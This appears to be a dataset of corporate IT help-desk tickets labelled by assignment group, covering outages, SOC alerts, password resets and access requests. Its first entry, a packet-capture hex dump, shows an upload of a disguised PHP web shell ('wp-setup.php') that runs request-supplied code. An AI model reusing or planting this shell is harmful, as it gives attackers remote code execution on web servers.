000180 6d2d 6461 7461 3b20 626f 756e 6461 7279 m-data;.boundary_x000D_
000190 3d62 6137 3333 3661 3437 6631 3634 3864 =ba7336a47f1648d_x000D_
0001a0 6339 3235 3565 6235 3935 3130 6536 6630 c9255eb59510e6f0_x000D_
0001b0 320d 0a0d 0a2d 2d62 6137 3333 3661 3437 2....--ba7336a47_x000D_
0001c0 6631 3634 3864 6339 3235 3565 6235 3935 f1648dc9255eb595_x000D_
0001d0 3130 6536 6630 320d 0a43 6f6e 7465 6e74 10e6f02..content_x000D_
0001e0 2d44 6973 706f 7369 7469 6f6e 3a20 666f -disposition:.fo_x000D_
0001f0 726d 2d64 6174 613b 206e 616d 653d 2266 rm-data;.name="f_x000D_
000200 696c 6522 3b20 6669 6c65 6e61 6d65 3d22 ile";.filename="_x000D_
000210 7770 2d73 6574 7570 2e70 6870 220d 0a43 wp-setup.php"..c_x000D_
000220 6f6e 7465 6e74 2d54 7970 653a 2074 6578 ontent-type:.tex_x000D_
000230 742f 706c 6169 6e0d 0a0d 0a3c 3f70 6870 t/plain....<?php_x000D_
000240 2069 6620 2821 6973 7365 7428 245f 5245 .if.(!isset($_re_x000D_
000250 5155 4553 545b 2765 3531 6527 5d29 2920 quest['e51e']))._x000D_
000260 6865 6164 6572 2822 4854 5450 2f31 2e30 header("http/1.0_x000D_
000270 2034 3034 204e 6f74 2046 6f75 6e64 2229 .404.not.found")_x000D_
000280 3b20 4070 7265 675f 7265 706c 6163 6528 ;.@preg_replace(_x000D_
000290 272f 282e 2a29 2f65 272c 2040 245f 5245 '/(.*)/e',.@$_re_x000D_
0002a0 5155 4553 545b 2765 3531 6527 5d2c 2027 quest['e51e'],.'_x000D_
0002b0 2729 3b20 3f3e 0d0a 2d2d 6261 3733 3336 ');.?>..--ba7336_x000D_
0002c0 6134 3766 3136 3438 6463 3932 3535 6562 a47f1648dc9255eb_x000D_
0002d0 3539 3531 3065 3666 3032 2d2d 0d0a 59510e6f02--.._x000D_
==pcap 1 hex e== | GRP_2 |
unable to connect to network printer unable to connect to network printer dv06 | GRP_0 |
need access to exchange server on new company iphone i am being blocked from exchange activesync and need access to it. i just received a new company i6._x000D_
_x000D_
| GRP_0 |
HostName_480 - verify filesystem h: dsw in31864001_x000D_
_x000D_
event id: 67771149_x000D_
event summary: [hw] filesystem near capacity - h:_x000D_
source ip: 39.48.23.356_x000D_
destination ip: _x000D_
device ip: 39.48.23.356_x000D_
device name: 39.48.23.356_x000D_
event extra data:_x000D_
inspectorruleid = 878981_x000D_
vendorclassification = none_x000D_
sherlockruleid = 566361_x000D_
logformat = mswineventlog_x000D_
windowseventid = 2013_x000D_
srchostname = HostName_480_x000D_
ctainstanceid = 0_x000D_
username = n/a_x000D_
vendorpriority = 1_x000D_
logsource = system_x000D_
hostname = HostName_480.company.company.com_x000D_
type = warning_x000D_
inspectoreventid = 529254549_x000D_
ileatdatacenter = true_x000D_
ontologystring = ms-system-srv-2013_x000D_
foreseemaliciouscomment = null or empty model found_x000D_
foreseeinternalip = 39.48.23.356_x000D_
group = mswineventlog_x000D_
logtimestamp = 2562437122_x000D_
agentid = 113550_x000D_
foreseeconndirection = internal_x000D_
_x000D_
| GRP_39 |
re: deployment notification | telephony_software 2016
received from: [email protected]
daghyunny,
i had sent deployment notification last week with the target list. deployment was scheduled at 10:00 am in the morning, please find the attached email copy for your reference.
if you would have had any concerns in | GRP_0 |
tastatur an r246 und r247 defekt. tastatur an r246 und r247 defekt. bitte austauschen. (einzelne tasten funktionieren nicht mehr) | GRP_33 |
repeat outbound connection for 135/tcp dsw ticket in33417637_x000D_
_x000D_
we are seeing your 80.71.06.702/company-european-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' alerts for traffic (blocked) from edml8111119/10.16.143.221 to port 135/tcp (remote procedure call (rpc)) of external host 31.199.53.9. this may indicate a misconfiguration, where the firewall is blocking traffic to a legitimate server/application. this may also indicate a compromised host reaching out to a malicious host or propagating worm code._x000D_
_x000D_
we are escalating this incident to you via a medium priority ticket and email per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . _x000D_
_x000D_
1) full escalation for windows login failure alerts (explicit notification via a high priority ticket and a phone call)_x000D_
2) automatically resolve windows login failure alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)_x000D_
_x000D_
| GRP_2 |
event summary: [hw] service icmp/icmp is down dsw ticket in33426117_x000D_
_x000D_
event id: 80657337_x000D_
event summary: [hw] service icmp/icmp is down_x000D_
source ip: 10.44.86.12_x000D_
source hostname: ap-f5_x000D_
destination hostname: _x000D_
device ip: 10.44.86.12_x000D_
device name: ap-f5.company.com_x000D_
event extra data:_x000D_
inspectorruleid = 2132464_x000D_
sherlockruleid = 566281_x000D_
ileatdatacenter = true_x000D_
srchostname = ap-f5_x000D_
foreseemaliciouscomment = null or empty model found;evaluationmodels->808333:0.5001:0.0061|ngm:0.9619:0.0008;_x000D_
foreseeinternalip = 10.44.86.12_x000D_
irreceivedtime = 1469623856316_x000D_
foreseeconndirection = internal_x000D_
inspectoreventid = 860011815_x000D_
_x000D_
_x000D_
occurrence count: 1_x000D_
event count: 1_x000D_
_x000D_
event detail:_x000D_
from 46.45.62.5144 for device 10.44.86.12 summary: service icmp/icmp is down_x000D_
detail: service check failed! (100% failures)_x000D_
(icmp-echo) unable to ping 10.44.86.12 | GRP_2 |
abended job in job_scheduler: Job_1953b received from: [email protected]_x000D_
_x000D_
abended job in job_scheduler: Job_1953b at 08/16/16 12:26:27 | GRP_6 |
event summary: [hw] service icmp/icmp is down dsw ticket in33575214_x000D_
_x000D_
related events: _x000D_
event id: 91538192_x000D_
event summary: [hw] service icmp/icmp is down_x000D_
occurrence count: 2_x000D_
event count: 1_x000D_
_x000D_
host and connection information_x000D_
source ip: 23.43.93.645_x000D_
source hostname: HostName_67_x000D_
connection directionality: internal_x000D_
_x000D_
device information_x000D_
device ip: 23.43.93.645_x000D_
device name: HostName_67.company.company.com_x000D_
_x000D_
scwx event processing information_x000D_
sherlock rule id (sle): 566281_x000D_
inspector rule id: 2132464_x000D_
inspector event id: 877864930_x000D_
_x000D_
event detail:_x000D_
from 46.45.62.5144 for device 23.43.93.645 summary: service icmp/icmp is down_x000D_
detail: service check failed! (100% failures)_x000D_
(icmp-echo) unable to ping 23.43.93.645 | GRP_2 |
event summary: [hw] service icmp/icmp is down dsw ticket number in33575471_x000D_
_x000D_
related events: _x000D_
event id: 91530190_x000D_
event summary: [hw] service icmp/icmp is down_x000D_
occurrence count: 2_x000D_
event count: 1_x000D_
_x000D_
host and connection information_x000D_
source ip: 32.23.28.792_x000D_
source hostname: HostName_68_x000D_
connection directionality: internal_x000D_
_x000D_
device information_x000D_
device ip: 32.23.28.792_x000D_
device name: HostName_68.company.company.com_x000D_
_x000D_
scwx event processing information_x000D_
sherlock rule id (sle): 566281_x000D_
inspector rule id: 2132464_x000D_
inspector event id: 877874632_x000D_
_x000D_
event detail:_x000D_
from 46.45.62.5144 for device 32.23.28.792 summary: service icmp/icmp is down_x000D_
detail: service check failed! (100% failures)_x000D_
(icmp-echo) unable to ping 32.23.28.792 | GRP_2 |
HostName_68 near capacity - 90% dsw ticket in33575516_x000D_
_x000D_
related events: _x000D_
event id: 91530665_x000D_
event summary: [hw] filesystem near capacity - h:_x000D_
occurrence count: 1_x000D_
event count: 1_x000D_
_x000D_
host and connection information_x000D_
source ip: 32.23.28.792_x000D_
source hostname: HostName_68_x000D_
connection directionality: internal_x000D_
_x000D_
device information_x000D_
device ip: 32.23.28.792_x000D_
device name: HostName_68.company.company.com_x000D_
log time: 2016-08-11 at 21:48:46 utc_x000D_
vendor classification: none_x000D_
vendor priority: 1_x000D_
windows event id: 2013_x000D_
type: warning_x000D_
username: n/a_x000D_
_x000D_
scwx event processing information_x000D_
sherlock rule id (sle): 566279_x000D_
inspector rule id: 2132464_x000D_
inspector event id: 877876913_x000D_
agent id: 107317_x000D_
_x000D_
event detail:_x000D_
note: by default, this alert is generated when capacity reaches 90%. (_x000D_
aug 11 21:48:46 32.23.28.792 mswineventlog 1 system 1103 thu aug 11 21:48:46 2016 2013 srv n/a n/a warning HostName_68.company.company.com none the h: disk is at or near capacity. you may need to delete some files. 173 | GRP_39 |
audio not working
summary:sound not working on pc | GRP_0 |
sep encryption set up sep encryption set up | GRP_0 |
need to change the drive name of the network drives. need to change the drive name of the network drives. | GRP_0 |
system performance issue system performance issue | GRP_0 |
company email accounts from: tzrekwqf homwadbs [mailto:[email protected]] _x000D_
sent: tuesday, august 16, 2016 6:04 pm_x000D_
to: nwfodmhc exurcwkm_x000D_
subject: amar fw: company email accounts_x000D_
_x000D_
dear support team,_x000D_
_x000D_
i get my company e-mail adress today for the rpo project betwenn company and ibm._x000D_
_x000D_
[email protected]_x000D_
_x000D_
it was a mis-typing. my last name is "zihrtyud". can you change this please?_x000D_
_x000D_
many | GRP_2 |
network outage: russia - warehouse network is down since 10:50am et on 08/16/16 what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_
_x000D_
1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_
_x000D_
2. when did it start ? ________10:50am et on 08/16/16______________x000D_
_x000D_
3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_
_x000D_
4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_
_x000D_
5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_
_x000D_
6. backup circuit active ? ___na_____ (yes/no/na) _x000D_
_x000D_
7. site contact notified (phone/email) ? ____no_____ (yes/no/na) _x000D_
_x000D_
8. remote dial-in ? ______na_____ (yes/no/na) _x000D_
_x000D_
9. equipment reset ? _____no______ (yes/no/na) _x000D_
_x000D_
10. verified site working on backup circuit ? ___na____ (yes/no/na) _x000D_
_x000D_
11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_
_x000D_
12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_
_x000D_
13. additional diagnostics | GRP_8 |
account to locked account to locked | GRP_0 |
unable to access ess unable to access ess | GRP_0 |
multiple issues with the company guest wifi sponsor portal we have some consultants from ca technologies visiting this week and i used the following website to provide them access to the companyguest wifi network:_x000D_
_x000D_
_x000D_
i see a certificate error for this site in ie and chrome. (see attached screenshot)_x000D_
_x000D_
i ignored the error and logged in to create a couple of accounts yesterday._x000D_
given that account credentials are limited to a max of 1 day, i went in today and tried to "edit" the accounts to change the date for today._x000D_
everything looked okay in the web app but users were not able to login._x000D_
_x000D_
i even tried to reset the password for one of the users but that didn't help either._x000D_
_x000D_
it is cumbersome to re-type the same info and create new accounts for each day._x000D_
it would be great if the certificate issues are taken care of and accounts could be created for multiple days( or it is easier to renew passwords)_x000D_
| GRP_0 |
my hana will not load anymore
received from: [email protected]
hi,
when i try to open hana now i get the follow error. please help.
[cid:[email protected]]
nkthumgf mwgdenbs
[email protected]<mailto:[email protected]>
ph
| GRP_0 |
crm mobile app queries crm mobile app queries | GRP_0 |
re: deployment notification | telephony_software 2016 _x000D_
_x000D_
received from: [email protected]_x000D_
_x000D_
hi deeghyupak,_x000D_
_x000D_
it seems that there has been a lack of knowledge regarding this deployment of telephony_software in israel._x000D_
_x000D_
from the very beginning all our users apart from rabin have been working with the software in hebrew._x000D_
_x000D_
also i am not sure deployment on telephony_software pc's all at the same time should occur in the middle of the working day._x000D_
_x000D_
please let us know when you have a hebrew version available and then we can discuss the deployment._x000D_
_x000D_
many | GRP_65 |
network outage: vogelfontein,south africa,sa primary circuit company_zaf_vogelfontein_mpls_ce01 is down since 10:5am et on 08/16 what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_
_x000D_
1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_
_x000D_
2. when did it start ? ________10:5am et on 08/16______________x000D_
_x000D_
3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_
_x000D_
4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_
_x000D_
5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_
_x000D_
6. backup circuit active ? ____yes____ (yes/no/na) _x000D_
_x000D_
7. site contact notified (phone/email) ? ___no______ (yes/no/na) _x000D_
_x000D_
8. remote dial-in ? ____na_______ (yes/no/na) _x000D_
_x000D_
9. equipment reset ? ____na_______ (yes/no/na) _x000D_
_x000D_
10. verified site working on backup circuit ? ___yes____ (yes/no/na) _x000D_
_x000D_
11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) ______global_telecom_1#000000220624227 ___________________ _x000D_
_x000D_
12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_
_x000D_
13. additional diagnostics | GRP_8 |
password reset password reset | GRP_0 |
engineering tool not work correctly and affect multiple user for pre process area engineering tool not work correctly and affect multiple user for pre process area_x000D_
at the moment is not possible make/review cam programdntys / visualize the dwgs to make the routings and bom's and we needs review some cam files to shop floor and those issues causing stop production_x000D_
the system work sometimes and other is not possible to connect_x000D_
users affected = navarcm / collemc / geronca / furlaf / pintog | GRP_11 |
outlook client issue.
summary:receiving following message.
cannot start microsoft outlook. cannot open the outlook window. the set of folders cannot be opened. the information store could not be opened..... have "restared" computer several times, same result. help please | GRP_0 |
when working in outlook, i cannot edite the subject line of an email. i have been able to do this until today. when working in outlook, i cannot edit the subject line of an email. i have been able to do this until today. | GRP_0 |
re: deployment notification | telephony_software 2016 _x000D_
_x000D_
received from: [email protected]_x000D_
_x000D_
hi daghyunny,_x000D_
_x000D_
there was no issue with respect to new telephony_software application and it was deployed successfully through patching_antivirus_sw. deployment was scheduled based on the os language, which in this case was english._x000D_
since we were not supporting hebrew language in the past, we deployed english language telephony_software 2016 r2 in israel pcs._x000D_
csr team in israel had raised a concern that they can't work without hebrew language pack as confirmed by aofnvyzt eqiyskhm. same english package of new telephony_software application is deployed successfully for the aofnvyzt eqiyskhm and he is able to work without any issues. dyxrpmwo hcljzivn local it from poland uninstalled new version of telephony_software and installed old telephony_software 4.0 on their pcs without informing us._x000D_
_x000D_
to fulfill local csr team requirement we can reschedule the new telephony_software application through remote deployment and hebrew language pack can be installed manually on their pcs._x000D_
_x000D_
| GRP_0 |
wvdxnkhf jirecvta has issues to connect company wifi network in fürth wvdxnkhf jirecvta has issues to connect company wifi network in fürth, and in the past two days his windows access gets suddenly locked. could someone please get in contact with him per cell phone +44
| GRP_0 |
erp access issue system (SID_34, SID_37, SID_39, SID_38, hrp, other ?):SID_34
enter user id of user having the issue: kowfthyuale
transaction code(s) the user needs or was working with: vl02n
describe the issue:
during pgi goods receipt eva is getting an error. i´m attaching the su53 screenshot. the sales order was manually moved to plant_263.
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket.
provide access the same as this other user: | GRP_2 |
erp SID_34 lock out. erp SID_34 lock out. | GRP_0 |
password reset password reset | GRP_0 |
outlook not working : crm issue outlook not working : crm issue | GRP_0 |
skype personal certificate issue skype personal certificate issue | GRP_0 |
erp SID_37 account unlock and password reset erp SID_37 account unlock and password reset | GRP_0 |
connecting drives to my computer _x000D_
_x000D_
received from: [email protected]_x000D_
_x000D_
it,_x000D_
connecting drives to my computer is done by it, or is there a function to connect that you can do yourself?_x000D_
_x000D_
ierfgayt alwjivqg needs drive – teams (\\HostName_847<file:///\\HostName_847>) (s:) connection._x000D_
| GRP_0 |
circuit outage: usa - (company) secondary circuit company-usa-vpn-rtr is down since 9:15 am et on 08/16/16 what type of outage: _____network ___x__circuit _____power (please specify what type of outage)_x000D_
_x000D_
1. top 23 cert site ? ____yes_____ (yes/no/na) _x000D_
_x000D_
2. when did it start ? _________9:15 am et on 08/16/16_____________x000D_
_x000D_
3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_
_x000D_
4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_
_x000D_
5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_
_x000D_
6. backup circuit active ? ___yes_____ (yes/no/na) _x000D_
_x000D_
7. site contact notified (phone/email) ? ____no_____ (yes/no/na) _x000D_
_x000D_
8. remote dial-in ? ____na_______ (yes/no/na) _x000D_
_x000D_
9. equipment reset ? _____no______ (yes/no/na) _x000D_
_x000D_
10. verified site working on backup circuit ? ____yes___ (yes/no/na) _x000D_
_x000D_
11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_
_x000D_
12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_
_x000D_
13. additional diagnostics | GRP_8 |
engineering_tool name:obanjrhg rnafleys
language:
browser:microsoft internet explorer
email:[email protected]
customer number:
telephone:+44
summary:access to the engineering_tool system | GRP_0 |
abended job in job_scheduler: SID_32hotf received from: [email protected]_x000D_
_x000D_
abended job in job_scheduler: SID_32hotf at 08/16/16 09:33:31 | GRP_1 |
this message was sent to the company quarantine database. please contact company it help desk for more information from: microsoft outlook [mailto:[email protected]] _x000D_
sent: monday, august 15, 2016 7:51 pm_x000D_
to: vhzxkjet lkufgrhq_x000D_
subject: notification: fw: outstanding inwarehouse_tool payment_x000D_
_x000D_
this message was sent to the company quarantine database. please contact company it help desk for more information. _x000D_
| GRP_26 |
unable to connect to companysecure at usa, oh contact #
no one at the site is able to connect to companysecure | GRP_4 |
not possible to complete to do pgi for rma 7112500109- del 9168048239- td - erro cost center during the pgi transaction for rma 7112500109 - delivery 9168048239 - customer 81295213 ( robhyertyjo tadeu) and 7112500108 - delivery 9168017962- customer 81295213 ( robhyertyjo tadeu) we are facing error - cost center 1company/par001 blocked against direct postings on 16.08.2016 / cost center par001, controlling area 1company is locked for primary postings on 16.08.2016. the erp system automatically determined controlling area 1company from the company code (and business area). _x000D_
_x000D_
_x000D_
_x000D_
| GRP_44 |
issues with attachments on outlook issues with attachments on outlook | GRP_0 |
[email protected] password reset [email protected] password reset | GRP_0 |
vpn queries vpn queries | GRP_0 |
erp SID_37 password reset erp SID_37 password reset | GRP_0 |
access to engineering_tool
summary:job transfer back into markhtyeting and i am requesting access to the engineering_tool (tool performance reporting) system. | GRP_0 |
call transferred to dan call transferred to dan | GRP_0 |
unable to connect to the hp printer at home unable to connect to the hp printer at home | GRP_0 |
need access to benefit solver in single sign on portal user called in stating that she needs the benefit solver app in single sign on portal.
checked in ad and didn't find that particular group added to user id. please help check and do the needful.
contact no -
user id - reddfgymos | GRP_2 |
browser issue : _x000D_
| GRP_0 |
vip 2 - single sign on for hr_tool is not operating i cannot access hr_tool globalview for my pay check each time i go to the sso i get this message when i open the hr_tool icon_x000D_
"sorry, your access is denied. please contact your system administrator."_x000D_
| GRP_0 |
install ie11 \ahlqgjwx wbsfavhg install ie11 \ahlqgjwx wbsfavhg | GRP_24 |
probleme mit lan \wxstfouy isjzcotm probleme mit lan \wxstfouy isjzcotm | GRP_24 |
unable to create delivery please provide the following:_x000D_
_x000D_
what order number? 1135584771/000020 + 5018821007/00001 + 5018981964/00001_x000D_
_x000D_
what material or item number? 3730375 + 7316410_x000D_
_x000D_
what warehouse location? plant_108_x000D_
_x000D_
issue description / error message? nothing happens - no message | GRP_6 |
after upgrade telephony_software has dierppeared from the screen after upgrade telephony_software has dierppeared from the screen | GRP_0 |
access to forecast to plan access to forecast to plan | GRP_22 |
probleme mit öffnen von dokumenten im intranet mit internet explorer . \xmlbfjpg yegzbvru probleme mit öffnen von dokumenten im intranet mit internet explorer . \xmlbfjpg yegzbvru | GRP_24 |
single sign on portal apps please add the purchasing production and purchasing uacyltoe hxgaycze app to qiyujevw ogadikxv's single sign on portal. she is unable to view and enter purchasing this way. she is a member of purchasing and should have access to it. | GRP_27 |
company guest account creation request
summary:can you please help me with the company guest wifi logon info? | GRP_0 |
password reset password reset | GRP_0 |
problems with accessing quote engine within company centre i logged onto to company centre_x000D_
then searched for a part#_x000D_
then clicked on the configure button_x000D_
this would normally start the quote engine_x000D_
_x000D_
instead, receiving the following error (attached) | GRP_21 |